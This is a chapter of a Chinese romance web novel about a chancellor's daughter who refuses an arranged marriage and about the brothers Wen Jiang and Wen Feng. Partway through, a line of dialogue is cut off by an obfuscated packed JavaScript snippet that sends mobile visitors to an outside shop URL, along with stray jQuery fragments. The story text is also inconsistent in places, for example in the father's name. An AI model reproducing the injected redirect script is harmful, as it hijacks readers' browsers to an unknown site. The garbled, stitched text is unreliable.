邵宜向温江投去疑惑的目光,她嘴角张开一个小缝,白皙牙齿点缀着绯红的唇,然后,在对面探究的目光里轻轻开口。
“侯爷想知道什么?”邵宜面不改色地问。
温江薄唇微启,像是带着个笑容。
“若是邵姑娘心里有别的想法,不妨说出来。”他道,“或许在下可以做主。”
周围再次安静了一瞬,武秦川侧着眼瞧向面前的温江,眼神露出一丝不悦,自己和其父温义清确定下的婚约,岂容个小辈定夺。
邵宜侧目,见邵秦川欲要开口,耳边再次传来了温江冷淡的声音。
“丞相,邵温两家私交甚好,婚约又是您与家父一同商量,都说婚姻乃‘父母之命’。”他的每句话都恭恭敬敬,找不出毛病。
“作为晚辈,本应遵从,但在下还请丞相与家父再商量一番,相信会有更好的结果。”
邵秦川听罢,原本张开的嘴最终还是合上,他拿起桌上的瓷盏,将龙井茶一饮而尽。
一旁的邵宜也听出了温江话里的意思,在原文里,邵宜死后,已确是让邵淑眉嫁于温风,如果这么算,邵秦川一定早已在心里想过,让邵淑眉替代邵宜的位置。只不过,如今邵宜没有死,自然作父亲的不会把这件事说出来。
而温江并不知道这些,但他猜出来了,猜到邵淑眉与温风的关系,自然搬出台阶,让丞相能够在不失父亲的立场上下得来台子。
邵宜心里清楚这是个时机,自然也不放过。
她提起裙摆两侧压出的褶皱,在武秦川思考的目光下,轻轻地跪在地上,一双手交叠着放在腹前。
在场的二人不约而同地看向跪在地上的邵宜,从温江的视线看去,邵宜精致的面庞在一侧微微晃动的秀发间格外显眼,本就纤细的身材在裙摆的对比下更显得楚楚可怜。
温江脸上看不出是什么表情,但那抹清淡的笑意像是一种夸赞,直到邵宜起身才落了下去,当然,这些邵宜都没有看到,因为她正在组织语言和武秦川商量。
武秦川看到这幅场景,自然满是惊愕,手里的水杯险些掉在地上,他侧过身体,不去看邵宜,因为,他觉得邵宜又要提起那个乡下来的穷秀才,只不过这次是要让他在温江面前出丑罢了。
邵宜垂着头,语调淡淡,既没有哭泣,也没有惶恐,只是像在陈述一个事实,一个她早就决定的事实。
“父亲,女儿并不愿嫁给温二爷,”她说。
邵秦川在听到这句话时已经再也坐不住,起身离开位置,走到了窗前。
邵宜听着旁边的动静,过了一会继续说:“女儿,现在谁也不想嫁。”
“女儿现在只想照顾好自己,照顾好父亲。”
说完,她便往邵秦川的方向磕头。
邵秦川在听到女儿说谁也不想嫁的时候便转过了头,他脸上有着一瞬而过的笑意,不过很快,又板起脸。
“有心了,倒是,这件事还需从长计议。”
“你身子弱,这几天还要好好休息。”他既没有拒绝,也没有同意,只是把事情搁置了。
邵宜闭着眼睛,邵秦川不愧能当丞相,说话滴水不漏,叫人不能喜,也不能悲,不过,她也安慰自己,总之有了回旋的余地就好。
“是温某疏忽,忘了邵小姐病刚好。”
你真不知道?邵宜心里想着。
轮子蹭过地面产生轻微的震动,邵宜手心贴在地上,感受得一清二楚,等她睁开眼时,原本身前明亮的地面稍稍暗了不少。
“回去好好休息吧。”邵秦川说。
等她领命起身后,温江已经坐在了茶桌旁,而另一侧,邵秦川已经眉宇舒展,一脸笑意地为温江沏茶。
看来二人已经达到了彼此的目的,邵宜退身恭敬地往门外走去。
门被轻轻推开,她抬起脚跨过门槛。好在自己的目标也达成了一半,她这样想着,穿过连廊,慢慢地往住所走去。
刚走到花园小径,她便看到紫雀背对着她坐在树旁的石凳上,一面抽泣,一面擦着脸,听到身后传来的动静后,紫雀摸了两把头发,起身站到树旁。
原以为会是其他什么人,叫她不要哭哭啼啼的,当听到邵宜叫她名字的时候,紫雀一下子转过头,刚刚止住的泪水再次决堤。
“小姐,我以为...”
邵宜大致猜到了紫雀的意思,一面往她面前靠,一面笑着去用手擦她眼角的泪痕。虽然她没有过去的记忆,原著的细节也不太记得,但紫雀她记得,因为书中给她后半生留下一句话:“邵宜死后半月,紫雀随之而去。”
她心里想着,不由自主地去心疼眼前的人,紫雀和原主,恐怕受了不少委屈。
此时,已经快要正午,好在花园树木繁密,高大的杏树,桃树遮去了大半阳光,只余下几缕光束洒在石板上,地上,兴许是地面潮湿,水气在光柱里荧光闪闪。
等到紫雀止住眼泪后,邵宜搂着她,一边从腰里拿出手帕递给她,一边叫她坐在石板上。
邵宜轻轻拍了拍紫雀的背,安慰道:“我这不是好好回来了”
紫雀眼睛红红的,转过头告诉邵宜刚刚邵淑眉来了,说什么一定会被处罚。
说着,眼角不自觉地滴了几滴泪,“我怕小姐,又想不开...”她几乎不能把一句话说完整。
邵宜满脸心疼地把紫雀搂到自己怀里。
“以后都不会了。”她说着,看向光柱中跳动的水珠,“我肯定陪着你,一块走。”
树影斑驳,忽的一阵风带起树叶,伴着沙沙作响,紫雀抬起脸,还带着泪水的脸上带着一抹笑容。
“嗯,紫雀一定和小姐一块。”
邵宜也笑了。
不知过了多久,二人才起身往圆形拱门走去,此时,太阳已经稍稍移到了天空中央。
朱雀大街
乌木马车从街尾缓缓行驶。
凌云走在马车车厢旁,他一身灰色便服,发束紧绷,从近处看,那只左手始终握在剑柄上。
在经过一处面具摊位后,过了七八米后,一只白皙的手将蜀锦窗帘掀开一角,露出一个面目冷峻的男人——是温江。
“奸细
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813652|210968||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
查的如何?”
“暂时没有突破,应该还未行动。”
他没有回应,便放下了帘子。
直到穿过整条街,到了分岔路口后,车厢内才再有了动静,声音沉沉,像是思索了很久。
“先去温风那里。”
温风府内
温风手握毛笔,撇着头看向一侧的墨宝,存心里想了字的形状后,才动着手腕写在绢布上。
他长得白净,和温江些许相似,不过更像他们的母亲,五官柔和,每一个动作都透着书生气,兴许是温江长久行兵打仗,温风看起来更显得白。
他将毛笔放回笔架,见仆人进来禀报,没等整理好衣服,便连忙抬脚往门外走去。
“练字时就该如此。”
门外响起温江的声音。
“大哥?”温风脸上带着笑容,眼底闪着光。“你怎么回来了?”
温江侧目,示意身后的侍从退下。
中午的阳光略显刺眼,温风绕到轮椅后,双手握住把手,侧过头低声询问,仿佛此刻只是一个想要靠近哥哥的弟弟。
“我推你吧。”
温江没有说话,过了片刻,温风便明白了。
他带着一抹如月牙般的笑颜,亲自弯腰把门槛卸下——这是哥哥受伤后,便让人把屋内所有的门槛都卸了。
他推着檀木扶手,把温江推上小坡,上了台阶后,他便松开了手,站到一侧。
温江推着轮椅到了书桌旁,他没有立刻说话,只是目光落在桌案上那张绢布上,写的“清风徐来”,笔法扎实,结构稳定,笔画饱满。
“有进步。”
温风得到大哥的褒奖后,眉眼弯弯。
“争取赶上大哥。”
温江看着这个弟弟,这个比他小几岁的弟弟,自幼聪慧,读书习武都不用人操心,很是招人喜欢。
“今天去了邵府。”温江说。
温风愣了一下,随即移开目光,声音低了下去:“她怎么样了?”
“你是问邵宜,还是问邵淑眉?”温江侧过头,看向温江。
春天的风多是时有时不有,短粗的风掀起窗子一角,在窗纸间摩擦,发出阵阵簇簇声。
温风走到窗前,沉默良久。
温江也不急,转着轮椅同样走到窗边,看着院中那株杏树。府里的杏树比邵府那株老得多,枝干虬结,花期也晚,现在还只是满枝花苞。
“见了邵大小姐,”温江缓缓开口,“她说了一句话。”
温风抬起头。
“她说,不想嫁你。”
书房里安静了一瞬。温风张了张嘴,想说什么,又咽了回去。他回到书桌旁,看了眼绢布上的“静”字,又抬头望向背对他的温江,像个犯错的孩子一般。
“我往常并没关注你们的事情,”他说,“到今天,才清楚了。”
温江没再继续说,他想给弟弟一些时间,想一想,或者去看一看自己心里究竟是如何想的。
良久,温风才再次开口。
“哥,我喜欢的是眉儿。”